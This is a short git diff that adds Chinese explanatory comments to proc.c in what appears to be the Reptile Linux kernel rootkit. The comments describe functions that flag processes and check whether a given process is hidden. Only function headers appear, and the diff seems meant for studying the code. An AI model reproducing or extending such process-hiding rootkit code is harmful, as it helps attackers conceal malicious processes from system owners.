diff --git a/src/Reptile/kernel/proc.c b/src/Reptile/kernel/proc.c
index 45a7788..a13d1e8 100644
--- a/src/Reptile/kernel/proc.c
+++ b/src/Reptile/kernel/proc.c
@@ -14,7 +14,7 @@
 #endif
 
 #include "proc.h"
-
+//根据给定的进程ID (pid) 和标志位设置 (set) 来修改进程及其线程的标志位
 int flag_tasks(pid_t pid, int set)
 {
 	int ret = 0;
@@ -68,7 +68,7 @@ struct task_struct *find_task(pid_t pid)
 
 	return ret;
 }
-
+//判断指定进程号进程是否可见
 int is_proc_invisible(pid_t pid)
 {
 	struct task_struct *task;
@@ -87,7 +87,7 @@ int is_proc_invisible(pid_t pid)
 	put_task_struct(task);
 	return ret;
 }
-
+//解析文件名->pid -> is_proc_invisible(pid)
 int is_proc_invisible_2(const char __user *filename)
 {
 	int ret = 0, i, argc, is_num = 1;